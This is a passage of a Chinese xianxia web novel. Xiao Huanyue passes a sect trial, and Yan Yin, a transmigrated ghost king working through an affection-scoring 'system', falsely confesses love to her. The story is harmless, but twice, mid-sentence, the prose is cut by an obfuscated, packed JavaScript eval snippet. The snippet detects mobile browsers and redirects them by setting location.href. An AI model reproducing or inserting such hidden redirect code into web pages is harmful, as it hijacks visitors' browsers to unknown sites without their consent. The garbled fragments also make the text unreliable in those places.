她刻意摊开双手,上前一步,示意自己没携带任何暗器,也是为了让场外长老们看得清清楚楚——她不是输给对方才被杀,而是主动凑上去让对方杀。 意识体惊疑不定地举起剑,在她肩头戳了戳,又收回来,连衣料都没割破。 “不......我不杀你,你肯定是在诈我。”意识体目光游离,“按照我的计划是先控制住你......” 萧唤月见她迟迟不下手,干脆主动贴了上去,张开双手抱住自己的意识体。这个看似拥抱的姿势正好让意识体手中那把剑贯穿了她。 意识体惊惶地松开手:“你在干什么,这具身体毁了我们俩都得玩儿完!” “没毁。”萧唤月轻声道,“你看。” 连血都没有流出来一滴,她好端端地站着,完好无损。 那柄徒有其表的玄铁剑贯穿萧唤月之后,倒像是被她吸收了一样,逐渐变得透明。 还真猜对了!当她主动迎上去的时候,虚假的剑失去了攻击力。 就算猜错了也没关系,萧唤月事先小心调整过角度,让那柄剑避开了心脏。 “也玩儿够了吧。”萧唤月哄孩子似的在意识体后背拍了拍,“该回来了。” 言隐在旁边半天憋出来一句:“......喔!” 意识体如同消散的萤火那样渐渐瓦解。她察觉到自己即将回归本体,在萧唤月怀里象征性挣扎了一下,但脸上的表情还算平静,下巴依旧搁在萧唤月肩膀上。 最后她疲惫地叹了口气,整个人化作光点,尽数钻进了萧唤月体内。 在二者融合后,意识体被分离期间的记忆也由本体接管。 萧唤月捡起自己的剑,抬头看了眼言隐,有点尴尬。 她想起自己先前居然就那么大喇喇说出来了—— “你接近我是别有目的。” 记忆里言隐最后没反驳,看来是真的了? 系统:【检测到攻略对象好感值波动,现好感度数值:29】 言隐缓缓抬目看向萧唤月,眼神迷茫。 这是怎么了,为什么好感度会突然下降?他什么也没做啊。 而且她之前甩了他一巴掌,他都没跟她生气! 不过想想,当时他的意识体确实有点鲁莽,抱得那么紧,还差点撞倒她......啊,难道是因为这个? 可恶的意识体,害他好不容易挣来的好感值下降了三点!言隐握紧了拳头。 随即他察觉到29是个相当不妙的数字,于是不动声色地打开商城面板看了一眼。幸好积分还在,没被收回去,要不然亏死了,他用都没来得及用呢。 萧唤月咳了一声:“走吗?留在巨木林也没意义了。” “......走。” “你先。” 据八万春长老之前所言,杀掉意识体就能走出结界。 言隐御剑升空,果然毫无滞阻地离开了巨木林。 萧唤月仰头望着天幕,也捏着剑诀缓缓往上飞,她不确定自己这样能不能算通关,毕竟没能亲手杀掉意识体。 她只是赌了一把,赌通关与否并不是长老们评判弟子表现好坏的标准。 守住本心,战胜自我,或者接纳自我。 其过程才是长老们希望看到的,而非结果。 飞出了这片雪雾茫茫的巨木林,降落在林外踏实的平地上,她悬着一半的心彻底松下来——结界允许她通过了。 有接引弟子走到萧唤月身边,先是笑着恭喜了她,然后请她移步去同霄殿内,待所有弟子都结束考核,执事长老会宣布今年晋升的弟子名单。 她左右张望,言隐已经不见了,估计先一步去了同霄殿。 “师兄,被意识体反杀的人也能通过么?”她问那接引弟子。 “是的,设结界不是为了困住你们,而是因为你们的意识体只能在阵法范围内活动。只要意识体消失了,你们就能走出结界。” “可八万春长老说杀掉意识体才能......” “杀掉意识体固然是个办法,但反过来被杀,结果也是一样的,最后存活的一定会是本体。”接引弟子向她告知了内情,“八万春长老这话是刻意引导你们往前面那条路子走。” 萧唤月低头嘟囔:“看来有时候太听话不是好事......” “按照八万春长老的话去做,也是不会出错的。但拒绝墨守成规的人,偶尔会得到意外之喜。” “师兄说的是。”萧唤月有点后悔自己的嘴快,连忙补充,“我没有质疑长老的意思。” 接引弟子微微一笑:“别紧张,八万春长老本尊也不是那种一板一眼的人,你见到他就知道了。” 22. 第 22 章 同霄殿内,三位长老和其座下亲传弟子正在通过视灵观测巨木林中的动向。 宗门大师姐路承蕊坐在传功长老八万春身边,充当副手。 昭意则坐在宗主山进晚身边,见到萧唤月走进殿内,冲她点了点头,眼神带笑。方才萧唤月和意识体的战斗他也围观了,平心而论,几个月就能修炼到这种程度,已经是天才中的天才。 萧唤月也回以一笑,在下首找了个靠近铜柱的位置坐下,等待最终结果的宣布。 等在这里的弟子不止她一人。 萧唤月左右环顾,看到了邓相许和言隐的身影。 她想起言隐说过,邓相许的意识体被别人杀了。不知这种情况该如何判定,类比一下大概就是考场上别人突然发疯把自己卷子撕了吧?那可真是有苦没处诉,她不禁有点同情邓相许了。 一群人在殿内干坐着,不敢高声言语,也不敢擅自离开。好在都是修仙者,一夜不睡算不得什么。 萧唤月刚吞进去一个哈欠,突然肩膀被撞了一下。她一脸莫名地扭头,发现言隐不知何时挤到了她右侧,挨着她坐下了。 言隐:“我比你先到,占了两个好位置,可是你没来找我。” 话里有隐隐的控诉意味。 萧唤月张了张嘴,其实她看见他了,也犹豫过要不要坐到他身边去。可巨木林中发生的事,她觉得不能当做没发生过。既然已经明牌了,她自然无法再以平常心对待这个别有用心的人......不,鬼。 本来想一个人待会儿,想想这事该怎么办,结果言隐又黏过来,给她思路都打乱了。 “......对不起,我不知道你帮我占了位置。”她小声说。 “好吧。”言隐语气又轻快起来,“你选的这位置也还行,够靠后。” “言隐。” “嗯?” 他的声线懒懒的,手指还搭在案上,哒,哒,哒,轻巧地打着节奏。 这只鬼对她纠结的情绪一无所知。不知是忘了在巨木林中发生过的对话,还是想继续装傻下去。 “我真的很好奇,你......接近我究竟有什么目的?”自困自扰了半天的萧唤月破罐破摔,决定打直球。 看到言隐脸色一变,她又道:“别急着反驳,在巨木林里你可是默认了。” 言隐心中久违地升起了一抹窘促。 他是真忘了自己曾被萧唤月那狡猾的意识体套过话,当时他还以为这事就这么过去了呢。错过了最佳的解释时机,现在说什么都像是在找补。 见他久久没说话,萧唤月细声道: “算了。” 想想这里是同霄殿,确实不是个适合交待秘密的场所,说不定几位长老耳力惊人,能将他们的小话悉数听进耳里。 言隐忐忑:“算了的意思是......” “意思是现在不急。”萧唤月凉凉道,“等弟子晋升结果出来再说。” 从天黑等到天亮,所有参加选拔的弟子终于集结完毕。 有人欢喜有人忧,萧唤月观察到大家的表情各有千秋。 尤其左良玉,这人向来不内耗,对自己方才的表现似乎相当满意,正摇头晃脑地同身边人说着她在林中大展身手如何如何,如果手边有香槟这种东西,估计已经开瓶庆祝了。 秦喜一如既往地低气压,身形虽娇小,背却挺得很直,冷冷淡淡地坐在那里,听着左良玉絮叨,时不时点一下头,夸赞一句“干得不错”。 左良玉说够了,转而问秦喜:“你呢,有没有大杀四方啊?” “没有。” “哎呀,别低调,以你的实力,就算当不成亲传弟子,晋升为内门弟子总是绰绰有余的。” 秦喜苦笑:“我......” “别一直板着脸嘛,都要公布结果了,你难道不开心么?” 殿台之上,孤水长老展开手卷,上面列着在场所有外门弟子的名字,其中几个被单独圈了出来。 无需示意场内弟子噤声,在看到孤水起身的那一刻,大家就已经齐齐安静下来,目光恨不能穿透纸背,好看看自己的名字有没有被圈上。 随后孤水公布了被晋升为内门弟子的几个名字。左良玉,言隐和萧唤月都赫然在列。 可见左良玉先前并非是在无脑自夸。她的自信源之有物,从小得父母指导,又极具天分,基础功比一些内门弟子都扎实,没理由不晋升。 至于言隐,他斩杀意识体的速度太快了,中途有段画面没能被转播出来,应该是视灵被他磅礴的剑气误伤所致。长老们经过商议,觉得他的表现也算在及格线以上。 而萧唤月,剑招称不上有多纯熟,出彩的是她参透了本体与意识体之间无需自相残杀的事实,悟性上佳。 可即便如此,换了其他弟子,长老们也会再斟酌一下。然而萧唤月有近十七年的空白期,又是入门最晚的一批弟子,这进步......可以说是神速了。 念完名字,孤水合上手卷,又说了几句“百尺竿头更进一步”之类的场面话,便宣布此次选拔大赛结束。 意思是今年没有人被选中作为亲传弟子。 在场众人面面相觑了半晌。 有弟子对这结果感到不服气,将自己的落选归结于今年赛制不够合理,打自己哪有打别人来得痛快?打擂台才能展现出真正水平! 不过这些人也不好公然表现出来,只能自个儿低头生闷气,等待来年再战。 令萧唤月震惊的是,秦喜居然没有晋升。 与萧唤月抱有同样疑问的还有左良玉,她差点就想去殿台上问长老是不是念漏了秦喜的名字。 但秦喜拦住了左良玉,摇了摇头。 左良玉满脸不解:“你真发挥失常了?” “出去说。” 两个人拉拉扯扯地走出了殿外。 萧唤月有些担忧地看着那两人的背影。 她也在好奇秦喜在林中发生了什么事,虽然与秦喜往来不算多,但她知道秦喜是妥妥的努力型选手,又是院里来得最早的,综合实力不会在左良玉之下。 身旁的言隐幽幽开口:“那个人,我在巨木林里碰见过。” “秦喜?” “不知道名字,发髻很紧的那个。” “那就是秦喜。” 言隐低笑了一声,似是觉得有趣,“就是她杀了邓相许——” “!!”萧唤月震惊,“秦喜干的?” “的意识体。”言隐一个大喘气,补完了自己那句话。 言隐的确没说谎,他看得清清楚楚,秦喜是故意的,赶在邓相许之前,把剑捅进了他意识体的心窝里,果断得很,不会是误杀。 长老们也正是因为这个原因,没有将秦喜晋升为内门弟子。 他们认为她心性尚需修炼,即便有什么私人恩怨,亦不该借机报复。 拼着落选的可能也要将对方拉下水......这等做法是长老们不提倡的。若不及时加以约束,将来可能会一条道走到黑。 “不能吧......”萧唤月想不通。 她感觉秦喜不是那种没事找事的人,背后应该另有隐情。 找机会问问好了,她想,毕竟是跟自己一起生活了这么久的室友,漠不关心不太好。刚搬进来那会儿,她还得过秦喜的照拂。 萧唤月和言隐同时起身,对视了一眼。 她问:“一起?” “你不回去找你室友么......” “不急,先解决我们俩的事。” “哦。”这一刻终究还是来了。 但言隐可不会怕,问就问,他已经想好借口了。 他们一道离开了同霄殿。 言隐跟在萧唤月身后,步子迈得极慢。 萧唤月没出言催促,两个人就用这种乌龟爬一样的速度走了个把时辰,谁也没说话。 一直走到无人的僻静处,萧唤月定住脚步:“就这里吧。” 言隐:“行。” 萧唤月盯了他一会儿,忽然伸手拍了拍他的肩:“别紧张。” 言隐绷着脸:“我不紧张。” “不是想审你,我没那个资格。”萧唤月说这话时居然笑嘻嘻的,“那么严肃做什么,你可是鬼王。如果你不想说......或者随便编个理由,我也不能拿你怎么样。” 言隐有些心烦意乱:“你直接问吧。” “在同霄殿内我已经问过。”萧唤月收起笑意,放慢了语气,“你接近我的目的......是什么?” 言隐卖了个关子:“我的目的大概比你想象中要单纯。” “倘若你有所图,”她声音低下去,“只要是我给得起的,我都可以给你......但我想了很久,并没有想出我身上有什么利益可谋。” 言隐一愣:“都可以给我?这么大方。” “你帮了我很多。”萧唤月告诉他,“所以你不需要有顾忌,想要什么的话,尽管开口。” 可他想要她百分之百的爱,她能给么? 言隐郁闷:好感值这种东西,要是能自发控制,世上便也不会有那么多痴男怨女了。又不是机器人,爱意数值该怎么调控。 如果她知道他是带着系统接近她,获取她的喜爱只是为了换取积分......她会如何? 真相刺耳,他觉得萧唤月还是别知道最好。 免得到头来,所有试图取悦她的行为都蒙上了一层功利性的阴影。 萧唤月偏头:“怎么不说话?” 冷白的光穿过枝杈间隙打在言隐脸上,衬得他漆黑的眸子有了水色,显出几分无辜。 “我不需要你给我什么。”他靠近,垂眼盯着她,“我说过我的目的很单纯,留在这里只是因为你。” 这话很容易引人误会,被他这么一本正经地说出来,倒让萧唤月恍惚了一下: “......你不是鬼王吗?” “是啊。” “我们以前没见过面吧。” “没有。” “那为什么对我另眼相待。” “我......就看你顺眼。” 这听起来更像胡扯了,萧唤月早知道他不是撒谎的好手,连前因后果都编不出来。 “不管怎么样,继续留在丘山,对你没好处。”萧唤月叹气,“你可想过,万一身份暴露该怎么办?你既是鬼王,混进仙门大派,纵使有不得已的苦衷,旁人看了也只会觉得你居心叵测。” 他油盐不进:“那又怎样。” “我建议你尽早回去。” “不,我要跟你一起。” “为什么?” “喜欢你。” 言隐终于说出了那个早就想好的借口,“喜欢你”三个字掷地有声,犹如一道惊雷把萧唤月劈得钉在原地动弹不得。 一个男人为了一个女人留下来,背后的理由跟爱情挂钩也不算太牵强吧? 表白之后,他就能顺理成章地对她好了。 言隐颇得意于自己的聪明才智,甚至懊悔没有早点想到这么好用的理由。 萧唤月脑子乱了,愕然抬目,对上他毫无波澜的眼睛。 喜欢一个人该是什么样的?这事或许没有准确的定论,但总不该是这样,一句表白的情话被他说出了如释重负的味道。 说完之后他立马移开了目光,并不期待她的反馈。 一瞬间的慌乱过后萧唤月冷静下来。 她想,他在撒谎。 于男女之事上萧唤月还是稍微有那么一点心得。 她以前暗恋过隔壁班一个篮球打得特别好的男孩儿,开朗爱笑,身上总有阳光和香皂的味道,标准班草模板。 周一开校会她会期待两个班能挨得近一点,跑操她会刻意停下来系鞋带等隔壁班队伍追上来,午休时间她会顶着太阳暴晒在塑胶跑道上一圈一圈地走,就为了看那个人打篮球......虽然她连得分情况都看不懂。 后来那男生主动找到她说要不我们试试吧?她有点不好意思看他,问同学你想试什么。 男生奇怪道:“还能试什么,谈恋爱啊。你喜欢我不是吗?太明显了。” 她的少女心事猝不及防被戳破, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14348387|150972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还没回过神来,对面又说:“我打篮球的时候......你可以过来给我送水吗?我兄弟的女朋友也会来,你比她漂亮。” 在一堆起哄声中萧唤月突然觉得有点糟心,面前的男孩儿跟她想象中的美好形象显然有所出入。 他吊儿郎当地等着她的答复,脸上带着势在必得的神情,篮球在手里打转。 汗水混合着污渍,让这只篮球看起来脏兮兮的。 最后萧唤月拒绝了。 此事惨淡收场,男生被驳了面子愤愤离去,当晚就把她挂上表白墙,声称自己被女人玩弄了感情,请兄弟们引以为戒。 从此萧唤月明白了两个道理:一是距离产生美,二是暗恋等于掩耳盗铃,自以为心意藏得天衣无缝,结果人家早看出来了。 思绪回笼,她看着面前的言隐,弯了弯眼睛:“容我提醒,有件事你可能忘了。” “什么?” “你和我都是穿越者。”她直言,“我本来都快说服自己,世界上就是有这么巧的事。但仔细想想,从相遇到现在,我们之间的‘巧合’太多了。” 恰好来到了十燕城,恰好在追寻鬼气源头时进了她的房间,恰好看她顺眼......恰好想进修仙门派玩儿一圈,所以一路跟着她来到了丘山。 目的性未免太强。 最重要的是他在巨木林里默认了,他接近她是别有用心。可现在他试图用一句轻飘飘的“喜欢你”揭过去,萧唤月有点恼火。 言隐:“穿越者又怎么......” 她摊牌:“我猜你接近我的目的跟这个有关,这是我们两人唯一能联系起来的地方。” 言隐:“!” 好可怕的女人,这都让她猜到了。 “我本来想听你自己说出来,可你似乎有所顾忌,不肯告知我实情。”萧唤月有些无奈,“既然如此,我们也没什么好聊了,今天的事就当没发生过,你我别过吧。” “你是在赶我走?你要向宗门长老揭发我的身份么。” “......至少还有同乡情谊在,我不会这样做。” “那就好,你放心,我只对你感兴趣,不会在仙门搞事。”言隐就差指天发誓。 “意思是你还要留在这?” “当然。” “......你不用回去鬼界操持大业么?” 言隐乐了:“那地方哪有什么大业,你似乎误以为鬼王这名号很值钱?其实,谁若能有本事把我杀了,那他就是下一个鬼王,更新换代是再简单不过的事。” 萧唤月沉默,听起来当鬼王也挺惨,得把脑袋别裤腰带上过活。 言隐继续道:“再说了,如果有非要我处理不可的事,我手下的小鬼会想办法联系上我的。” “好吧,请便。”萧唤月转身要走,“留去与否是你的自由。” 言隐追上去:“你为什么认定我别有用心,不肯信我是真的喜欢你?” “直觉。” ......直觉还挺准。 言隐避开这个话题,转而问:“那你以后还理我吗?” “有需要的话。” “......也行。”言隐稍稍放下心,认为事情还是有转圜的余地,“你总有需要我的时候。” “那可不一定。” “为什么这么说?我很好用,你把我当工具就行了。” 他希望萧唤月能主动要求他做些什么,这样她就能欠下他的人情。 电视剧里男女主分手不就爱说“你我从此两不相欠”么,可见想要甜甜蜜蜜,就要欠对方欠得越多越好。 萧唤月恹恹的:“我不会把你当工具。” “你可以把我当工具。” 萧唤月没作声,继续往前走。 “说点话呀......” 言隐不依不饶,想去拽她衣角,但又怕惹她厌烦,只好触之即离,悻悻缩回手。 她的态度让他捉摸不透,这到底是会理他,还是不会理他的意思? 少女忽然停下脚步,侧身仰头望着他,半晌,颊边现出一个浅浅梨涡。 她微笑:“所以,被我利用也没关系?” 见她终于给出了愿意继续沟通的信号,言隐果断道:“没关系。” 萧唤月点了点头:“好。” 隐约感觉自己掉进了坑里,但言隐没工夫细想,反正这建议是他自己先提出来的,没有反悔的道理。 大家各取所需,似乎也还算合理?她能在他这里获取帮助,而他可以得到好感度来换积分。 想通之后他趁热打铁接着表态:“有事就找我,保你没有后顾之忧。什么活我都接,管杀还管埋。” “你业务挺广......但我暂时没有杀人方面的需求。”萧唤月觑他一眼,“你还跟着么?该说再见了。” 言隐脑子一时没转过弯来:“......为什么又再见啊?我要跟你一起......” “我要回我院子,难道你也跟去?”萧唤月好笑道,“过两日咱们就要搬地方了,说起来,你也该回去收拾收拾东西。” 言隐茫然:“搬哪里去?” “内门弟子有单独的院落......在小荼峰,你不会不知道吧。在传道堂上课的时候,师姐讲过的。” “哦。”言隐嘀咕,“我忘了。” 萧唤月微微摇头:“你看你不是忘了,是压根没听。” “我......”他没法反驳。 “总之,就这样。”她眨了眨眼,“再见。” 话都说开了,这下再没有拦着她的理由,言隐只好站在原地,目送萧唤月离去。 买卖不成仁义在,说实话,相处这么久,他对萧唤月没什么恶感,心里已将她认作了半个朋友。 “萧唤月!”他大喊。 “虽然我确实有事情瞒着你,但我不会伤害你,真的!” 他想,如果攻略任务顺利,萧唤月就不会爱上原书男主,不会为男主而死,于她而言何尝不是好事一件。 萧唤月没回头,冲他挥了挥手,背影怪洒脱。 23. 第 23 章 萧唤月和左良玉都要搬去小荼峰,只剩秦喜还留在原来的院子里。 不用想也知道,剩下的那个人心里肯定不会好受。可秦喜看上去挺平静,甚至还反过来安慰左良玉和萧唤月,说自己明年一定能去小荼峰陪她们。 左良玉比秦喜激动得多:“什么明年?你本来今年就能去!” 关于她冲动斩杀了邓相许意识体的这件事,左良玉和萧唤月都表示十分不解。 左良玉在院子里稍显暴躁地走来走去,过了会儿,她好像想通了什么似的,目光锐利地看向秦喜: “我知道了,一定是邓相许那小子干了什么坏事,才惹得你这样生气。” 秦喜:“不是......” “什么不是,就是。”左良玉一副不愿善罢甘休的气势,拉上了旁边的萧唤月,“小月,走,跟我一块儿,找邓相许的麻烦去。” 秦喜一手拉一个,死死拽住她们的袖子:“别去,这事真是我理亏,我会去向邓相许道歉的。” “到底为什么?”左良玉眉头皱得能夹死苍蝇,“你俩在我看不见的地方结过仇?” “不,唉......都是些家长里短的事,本来我觉得没必要说。” 秦喜做出要促膝长谈的姿态,另两个女孩儿也就配合她在石桌旁坐下,这时候只差一口热茶。 “其实邓相许是我表弟,虽然我俩不是一个姓,但确实有血缘关系。” 刚起了个头,就差点把左良玉惊得下巴掉下来,她压根没见邓相许和秦喜说过几句话,打死也想不到他俩会是亲戚。 秦喜顿了顿,接着说起她家里的事:“我们虽然不是什么大家族,但祖上也出过几位能人名士,在修仙界算是颇有威望。” 萧唤月对修仙世家的事知之甚少,此刻饶有兴味地听着。 原来修仙之人,修为越高,越难育有子嗣。 在这样的大前提下,族中小辈每一个都是被寄予厚望的存在,从出生起就备受关注。 到了秦喜这一代,就属她和邓相许年纪相近,虽然一个是本家一个是分家,彼此交集不多,但难免会被族中长辈有意无意间拿来对比。 秦喜这一脉势弱,又只她一个小辈,自然是被重点浇灌的对象。从她小时候起,老爹老娘就爱拿本家姓邓的那小子树榜样做标杆,给她安排各种大大小小的试炼。 长此以往,她对这位表弟难以抑制地生出了几分埋怨。邓相许的境况也好不到哪去,“你看你姐”这四个字他听得耳朵都要起茧子。 可惜秦喜和邓相许都不是天赋多高的人,一边清楚地知道自己很难成为家族中最出众的那个,一边又不得不拼了命往前赶。 两人赶在同一年拜入了玉胥宗,对彼此都没什么好脸色,平日里默契地假装不熟。 “所以......”左良玉斟酌着用词,“你是因为单纯看他不顺眼,才把他意识体砍了?” “当时情况有点混乱。”秦喜回忆着,“在巨木林里,我为了追赶我的意识体,才一直往东边走,没想到看见了邓相许。你们都知道,意识体与本人虽然拥有相同的记忆,但是很......小孩心性。我的意识体和他的意识体碰上面,没说上两句话就开始互相吵架。” “那确实。”萧唤月深以为然,意识体就像是拥有成年人力量的小孩,跟它们很难说通道理。 而且它们非常情绪化,如果秦喜对邓相许有抵触之意,那么与她拥有同样记忆的意识体也绝不可能看邓相许顺眼,只会比她更讨厌邓相许。 秦喜:“之后邓相许抓住机会想偷袭他的意识体,没能成功,他俩打起来了。我的意识体在一旁站着观战,我则躲在暗处,想趁机拿下她。” 左良玉听得有点迷糊:“他偷袭他的意识体,你拿下你的意识体......这互不干扰的,怎么最后他的意识体让你给杀了?” “准确来说,是我的意识体干的,”秦喜有些怅然,“她似乎不想让邓相许通关,在紧要关头横插了一脚,把邓相许的意识体杀了。” 听完她说的话,萧唤月心下了然——原来言隐看见的那个人不是秦喜,是秦喜的意识体。 左良玉也终于捋清楚事情经过,忿忿不平道:“那是你的意识体干的,何必要你来背锅?” 秦喜轻轻摇头:“她就是我。她的念头,亦是我的念头,只不过这念头体现在她身上,便不加掩饰地放大了。而且我本来有机会阻止,可我却犹豫了。” 不怪长老认为她是故意为之。 左良玉哑然。 “这事是我鬼迷心窍了。”秦喜一锤定音,“我的错。” 左良玉:“可......” “你们不必再说了,”秦喜朝萧唤月使眼色,“快些收拾东西吧,该搬去小荼峰了,改日有机会,可以回来坐坐。” 萧唤月看懂她的暗示,很上道地拉走了左良玉。 大概想清楚了确实是己方不占理,左良玉没有过多挣扎,顺着萧唤月的力道挪动了步子。 收拾完东西,两人离开了这座短暂生活过几个月的小院。 左良玉闷闷不乐,御剑也不御了,非要让萧唤月载她一程。 如今的萧唤月御剑赶路已经不成问题,可多载了个人,她还是很没信心地降低了高度,慢慢往小荼峰方向飞。 左良玉在后边抱臂瞪眼,对于她的蜗牛速度颇感不满,但最终没有发表多余意见。 风声呼啸中,萧唤月听到背后的女孩开口:“萧唤月,我跟你说。” “嗯?” “我家里只有我一个孩子,连堂哥堂姐什么的都没有。” “唔。” “你有兄弟姐妹吗?” “没有。” 萧唤月想这话应该算不得假,她从出生起就和里云宫断绝关系了,而萧家除了她也没别的孩子。穿越前穿越后,她都是独生女。 “那你应该也不能理解吧。”左良玉问她,“秦喜和她表弟关系居然那么差,感觉比陌生人还不如。我本以为,有血缘关系的话,大家就会相亲相爱呢。” 不知该如何作答,萧唤月囫囵道:“毕竟家家有本难念的经。” 左良玉在后边摇头晃脑:“但是呀,我觉得肯定也有关系好的兄弟姐妹。” “你有见过吗?” “当然有。”左良玉举例,“以前我去凡间集市,看见两个乞儿,哥哥饿得面黄肌瘦,手里攥着讨来的铜板,还想着要给妹妹买糖葫芦呢。” 萧唤月想到自己本应该也有个哥哥,不禁有点怅然惆怅。看来兄弟姐妹关系好坏与否,与后期生长环境有很大关系。 有的兄妹是至亲骨肉,有的却形同陌路。显然她的情况属于后者,脐带被剪断的那一刻就已经和哥哥不再亲密了。 * 成为内门弟子后,生活似乎并没有发生多大的变化。只是自主修炼的时间变多了,住的地方更大了。 以萧唤月的切身体验来看,晋升后的日子还是很不赖的,不用再每日跨越半个山头去传道堂画卯签到,偶尔还能以小老师的身份去顶个班,给师妹师弟们讲讲课。 唯有一件事需要注意:玉胥宗有位归虚长老,名叫露叶连,她老人家就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14361612|150972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住在小荼峰背阴面的悴平洞,常年隐居其间不问世事,一闭关就是几十年。 弟子们通常不会到悴平洞附近活动,怕扰了长老清修。 萧唤月深谙不作死就不会死的道理,当然不会去触这位神秘长老的霉头。 在她想象中,这长老应该是仙气飘飘,举手投足一副世外高人的风范,只有宗门遇到什么危机状况,才会出关相助。 萧唤月在小荼峰过着老实又勤恳的修炼生活,大半年过去,又到了丛桂盛开的季节。 她的修为稳步提升,已到了筑基中期境界。 昭意师兄说,按照这个速度,她明年就能结丹了。 听到这消息她挺高兴,晚上蒙在被窝里偷偷笑出了声,心想自己果然是聪明鸟后飞,十六岁入门完全不算晚!东生当初说她根骨劣没仙缘完全是胡说八道...... 一不小心想到东生,她笑不出来了。 最后那一面,东生似乎伤得挺重,不知道现在死了没有。他浑身是谜,连真实身份都尚未可知。 萧唤月在床上翻来覆去,想了一会儿没想通,便也不再为难自己,眼睛合上,呼吸渐渐变得均匀,一觉睡到了通天亮。 另一边的言隐就没她这么好眠了。 本身他就没什么睡眠需求,到了晚上通常是对着油灯干瞪眼。好不容易哄自己上了床,也只不过是从坐着变成了躺着,意识清醒得要命,越想睡越睡不着。 言隐越发觉得这个世界娱乐活动过于匮乏,无聊至极。没有互联网,人类失去了多少乐趣啊。 而且仙门大派里规矩又多,麻烦事也多,还找不到人打架......最重要的是,萧唤月完全不主动联络他!! 好像完全把他忘了似的。 之前明明都把话说开了......回想起那场对话,他觉得有点儿恼。 他愤愤地想,自己甚至纡尊降贵地表示愿意当工具,她也不肯多联系他一点。怎么,难道他这工具不趁手,她不屑于用? 能见到萧唤月的机会本就不多,如今成为内门弟子,不再统一受业,课程各自错开,他更没由头与萧唤月相见了。 算算日子,不知有几个月没跟她好好说过话了。 “要不放弃吧......”言隐自言自语,不知道在讲给谁听,“或许她根本不喜欢我这种类型,那又有什么办法,她眼光有问题。” “好歹陪了她这么久,这女人难道就一点想不起来我?” “系统,系统,吱点声,别装死,她现在好感度多少了。” 【检测到攻略对象现好感度数值:27】 ......还行吧,这么久没见,比起之前也没降多少。 “呵呵,只差七十二就到满分了。” 系统纠正:【差七十三。】 “住嘴!”越想越气,言隐猛地从床上坐了起来,看了一圈,没什么能砸的东西,又重新躺下去,忿忿道,“这么冷淡凉薄的女人,会愿意为了昭意去死?我不信。她根本不会爱上任何人,那本小说写得有问题。” 系统贴心地继续装死,任由他独自发泄情绪。 但言隐没再说话,眼神放空,不知在想些什么。 保持着这种状态一直到天亮,他忽然道:“我想清楚了。” 推开门,他大步往外走。 “我要离开。”他好像想通了似的,“这个任务不该开始,我跟她压根没戏。比起钻牛角尖不如及时止损,哪怕回不去,待在这个世界我一样能混得风生水起。” 面对他的喜怒无常,系统死机了一样陷入沉默。 24. 第 24 章 言隐没穿弟子常服,大喇喇走在山道上,没有御剑也没有用缩地术赶路。 几个认识他的修士同他打招呼,他只哼哼一声当做应答。在山腰逛了一圈,又慢吞吞挪到萧唤月院子附近。 他在犹豫,要不要同她告个别。 系统冷冰冰的电子音终于响起:【真要放弃任务吗?】 他果断:“当然。” 系统:【你不是从不轻言放弃?】 言隐:“话虽如此,感情的事却勉强不来,那不是努力就能得到的东西。” 不知是在说服系统还是在说服自己,他望着萧唤月院门口的方向,冷冷道,“不如及时抽身。” 他跃上屋檐,观察了一会儿。 萧唤月此时大概不在院子里,他没有感知到她的气息与声音。 言隐抬脚离去,一边自言自语:“......这里的饭挺好吃的,决定了,吃完晚饭我就走。” 系统:【等你离开丘山的那一刻,视为成功放弃任务。】 “有代价吗?” 系统:【回收积分以及用积分购得的商品。】 “嗯,还有呢?” 系统:【你会与我解绑,留在这里。】 “彻底失去回到原世界的机会?” 系统:【是的。】 “那也没什么大不了。”言隐喃喃,“就是有点可惜......这边的世界无聊了点,没有游戏可打。不过想想,那边也好不到哪去,各有各的无聊。” 在原来的世界他是那种典型的“穷得只剩钱”的富二代,老妈生下他没多久就跟老爹离婚了,两人都忙得满世界飞,对他的照顾只体现在准时打钱这方面。 对此他没什么不满意,唯一烦心的是老爹多情又滥情,私生子太多,不知道遗产够不够分。 言隐:“系统,再过不久我俩就得说再见了,你作何感想?” 系统:【没有感想。】 言隐奇道:“你白忙活一场,难道不想打我?” 良久,系统给出回答:【想。】 言隐满意地点点头,继续在山道上漫无目的地闲逛,等待饭点到来。 夜幕降临,膳堂外的弟子渐渐多了起来。 虽说磕辟谷丹效果也是一样,但新鲜可口的热乎饭菜显然更受欢迎,况且玉胥宗厨子的手艺相当不错,保质保量。 饭菜都提前做好摆在台前,用法术保着温,想拿什么自个儿拿。 言隐独占一张桌子,上面摆满了各色菜肴。他狠狠啃下一口鸭腿肉,注视着从门口走进来的每一个人。 待到有九分饱的时候,他把碗一推,站起身。 门口一抹红色闪过,是萧唤月的裙摆。她一边与身边的人说话,一边往里进。 言隐想了想,又坐了下去。 萧唤月看到他,脸上露出微讶神色:“......言隐?” 他不高兴:“我怎么。” “没事。”她摇摇头,在他对面坐下,“很少在这里看到你,有点惊讶。” “我经常来。”不过通常都是三更半夜的时候,她没碰见过也正常。 “既然来了,拼个桌可以吗?”萧唤月扫视一圈,“其它地方没位置了。” 这么久没联系,她见到他时表现出的态度依旧很自然。 “可以,反正我已经吃完了。”言隐看了看站在她旁边的邓相许,这两人明显是一起来的。 注意到他的眼神,邓相许转头过来同他打了个招呼。 言隐没看他,对萧唤月道:“你们慢慢吃。” “这就走了么?” “嗯。” “下次见。”她同他道别。 